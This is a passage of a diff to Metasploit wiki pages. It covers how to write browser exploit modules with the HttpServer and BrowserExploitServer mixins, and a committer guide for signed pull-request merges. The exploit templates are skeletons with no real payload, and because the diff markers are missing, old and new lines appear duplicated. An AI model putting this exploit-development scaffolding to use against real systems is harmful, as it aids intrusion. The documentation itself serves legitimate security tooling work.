UA version: <%=target_info[:ua_ver]%><br>
Java version: <%=target_info[:java]%><br>
Office version: <%=target_info[:office]%>
|
)
return template, binding()
return template, binding
end
def on_request_exploit(cli, request, target_info)
def on_request_exploit(cli, _request, target_info)
send_exploit_html(cli, exploit_template(target_info))
end
@@ -296,7 +295,7 @@ If your BES-based exploit does not want obfuscation at all, always make sure you
deregister_options('JsObfuscate')
```
To learn more about Metasploit's JavaScript obfuscation capabilities, please read [How to obfuscate JavaScript in Metasploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-obfuscate-JavaScript-in-Metasploit).
To learn more about Metasploit's JavaScript obfuscation capabilities, please read [[How to obfuscate JavaScript in Metasploit|./How-to-obfuscate-JavaScript-in-Metasploit.md]].
### Related Articles:
@@ -1,4 +1,4 @@
The Metasploit Framework provides different mixins you can use to develop a browser exploit, mainly they are [Msf::Exploit::Remote::HttpServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-HttpServer), Msf::Exploit::Remote::HttpServer::HTML and [Msf::Exploit::Remote::BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer). This writeup covers the HttpServer mixin.
The Metasploit Framework provides different mixins you can use to develop a browser exploit, mainly they are [[Msf::Exploit::Remote::HttpServer|./How-to-write-a-browser-exploit-using-HttpServer.md]], Msf::Exploit::Remote::HttpServer::HTML and [[Msf::Exploit::Remote::BrowserExploitServer|./How-to-write-a-browser-exploit-using-BrowserExploitServer.md]]. This writeup covers the HttpServer mixin.
The HttpServer mixin is kind of the mother of all HTTP server mixins (like BrowserExploitServer and HttpServer::HTML). To use it, your module is required to have a "on_request_uri" method, which is a callback triggered when the HTTP server receives a HTTP request from the browser. An example of setting up "on_request_uri":
@@ -78,36 +78,36 @@ To get things started, you can always use the following template to start develo
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => "HttpServer mixin example",
'Description' => %q{
Here's an example of using the HttpServer mixin
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HttpServer mixin example',
'Description' => %q{
Here's an example of using the HttpServer mixin
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' => [
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'Targets' =>
[
'Platform' => 'win',
'Targets' => [
[ 'Generic', {} ],
],
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
'DisclosureDate' => '2013-04-01',
'DefaultTarget' => 0
)
)
end
def on_request_uri(cli, request)
html = "hello"
def on_request_uri(cli, _request)
html = 'hello'
send_response(cli, html)
end
@@ -7,48 +7,48 @@ Say you want to exploit a web server or web application. You have code execution
Here is how you can set it up:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "HttpClient and HttpServer Example",
'Description' => %q{
This demonstrates how to use two mixins (HttpClient and HttpServer) at the same time,
but this allows the HttpServer to terminate after a delay.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HttpClient and HttpServer Example',
'Description' => %q{
This demonstrates how to use two mixins (HttpClient and HttpServer) at the same time,
but this allows the HttpServer to terminate after a delay.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' => [
['URL', 'http://metasploit.com']
],
'Payload' => { 'BadChars' => "\x00" },
'Platform' => 'win',
'Targets' =>
[
'Payload' => { 'BadChars' => "\x00" },
'Platform' => 'win',
'Targets' => [
[ 'Automatic', {} ],
],
'Privileged' => false,
'DisclosureDate' => "Dec 09 2013",
'DefaultTarget' => 0))
'Privileged' => false,
'DisclosureDate' => '2013-12-09',
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path to some web application', '/']),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
], self.class)
register_options(
[
OptString.new('TARGETURI', [true, 'The path to some web application', '/']),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
], self.class
)
end
def on_request_uri(cli, req)
@@ -58,15 +58,13 @@ class MetasploitModule < Msf::Exploit::Remote
def primer
print_status("Sending a malicious request to #{target_uri.path}")
send_request_cgi({'uri'=>normalize_uri(target_uri.path)})
send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
end
def exploit
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, this is raised
end
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, this is raised
end
end
```
@@ -82,7 +80,7 @@ In case you're wondering why the web server must terminate after a period of tim
The output for the above example should look something like this:
```
```msf
msf exploit(test) > run
[*] Exploit running as background job.
@@ -30,7 +30,7 @@ The exploit should say what requirements are not met. The requirements are expla
If you'd like to check the comparisons, simply set VERBOSE to true. The following is an example:
```
```msf
msf exploit(ms13_022_silverlight_script_object) > set VERBOSE true
VERBOSE => true
msf exploit(ms13_022_silverlight_script_object) > run
@@ -1,13 +1,13 @@
**This page is meant for Committers. If you are unsure whether you are a committer, you are not.**
Metasploit is built incrementally by the community through GitHub's [Pull Request](https://github.com/rapid7/metasploit-framework/pulls) mechanism. Submitting pull requests (or PRs) is already discussed in the [Dev environment setup](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) documentation. It's important to realize that PRs are a feature of GitHub, not git, so this document will take a look at how to get your git environment to deal with them sensibly.
Metasploit is built incrementally by the community through GitHub's [Pull Request](https://github.com/rapid7/metasploit-framework/pulls) mechanism. Submitting pull requests (or PRs) is already discussed in the [[Dev environment setup|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] documentation. It's important to realize that PRs are a feature of GitHub, not git, so this document will take a look at how to get your git environment to deal with them sensibly.
# The short story
- Configure your git environment as described [here](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment#keeping-in-sync).
- Configure your git environment as described [[here|./dev/Setting-Up-a-Metasploit-Development-Environment.md]].
- Add the `fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*` line to your `.git/config`.
- Add your signing key `git config --global user.signingkey`
- Use `gpg --list-keys` to view your available keys. Note that on certain systems you may need to replace `gpg` with `gpg2`. Sample output can be seen below:
- Use `gpg --list-keys` to view your available keys. Note that on certain systems you may need to replace `gpg` with `gpg2`. Sample output can be seen below:
```
pub rsa4096 2020-04-07 [SC]
@@ -16,7 +16,7 @@ Metasploit is built incrementally by the community through GitHub's [Pull Reques
sub rsa4096 2020-04-07 [E]
```
- Set the GPG key as your signing key. To set the key shown above as the signing key for all repositories, one would execute:
```
git config --global user.signingkey 3198961E148FF5E527E31A5FD35E05C0F2B81E83
```
@@ -30,13 +30,13 @@ Metasploit is built incrementally by the community through GitHub's [Pull Reques
Fixes #1024, also see #999.
````
- The `-S` flag indicates that you're going to sign the merge with your PGP/GPG key, which is a
- The `-S` flag indicates that you're going to sign the merge with your PGP/GPG key, which is a
nice assurance that you're really you.
- The `--no-ff` flag indicates that you want to create a merge commit no matter what, even if
- The `--no-ff` flag indicates that you want to create a merge commit no matter what, even if
the merge would normally be resolved as a fast forwards. This ensure that all changes have a
commit associated with them.
- The `--edit` flag will drop you into your default editor (normally vim), and will allow you
to edit the commit message so that it conforms to Metasploit standards, rather than sticking
- The `--edit` flag will drop you into your default editor (normally vim), and will allow you
to edit the commit message so that it conforms to Metasploit standards, rather than sticking
with git's pre-generated commit message which does not.
- Note that the `--no-ff` flag should be used both for PRs that go back to a contributor's branch as well as PRs that land in Metasploit's master branch.
- If you're making changes (often the case), merge to a landing branch, then merge **that** branch to upstream/master with the `-S --no-ff --edit` options.
@@ -46,7 +46,7 @@ Metasploit is built incrementally by the community through GitHub's [Pull Reques
Check out [this gist](https://gist.github.com/todb-r7/3fbee1a9e7b36d82ca55) that automates (mostly) landing pull requests, signing the merge commit, all while rarely losing a race with other committers.
# Fork and clone
First, fork and clone the `rapid7/metasploit-framework` repo, [following these instructions](https://help.github.com/articles/fork-a-repo). I like using ssh with `~/.ssh/config` aliases [as described here](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment#wiki-ssh), but the https method will work, too.
First, fork and clone the `rapid7/metasploit-framework` repo, [following these instructions](https://help.github.com/articles/fork-a-repo). I like using ssh with `~/.ssh/config` aliases [[as described here|./dev/Setting-Up-a-Metasploit-Development-Environment.md]], but the https method will work, too.
Once this is done, you will have a remote repository called "origin," which points to your forked repository on GitHub. You will be doing most of your work in your own fork of Metasploit, even if you have commit rights to Rapid7's fork. Now, we're going to add an "upstream" repository to talk to the Rapid7 repository.
@@ -135,7 +135,7 @@ In this particular case with PR #1217, I did want to send some changes back to t
Here's an example with #6954 (your workflow may vary):
```
$ git checkout upstream/master
$ git checkout upstream/master
Note: checking out 'upstream/master'.
You are in 'detached HEAD' state. You can look around, make experimental
@@ -258,7 +258,7 @@ c = commit -S --edit
m = merge -S --no-ff --edit
````
People with commit rights to rapid7/metasploit-framework will have their [keys listed here](https://github.com/rapid7/metasploit-framework/wiki/Committer-Keys).
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
# Post-Merge
@@ -291,4 +291,4 @@ If that works, great, you know you don't have any merge conflicts right now.
# Questions and Corrections
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.

Some files were not shown because too many files have changed in this diff Show More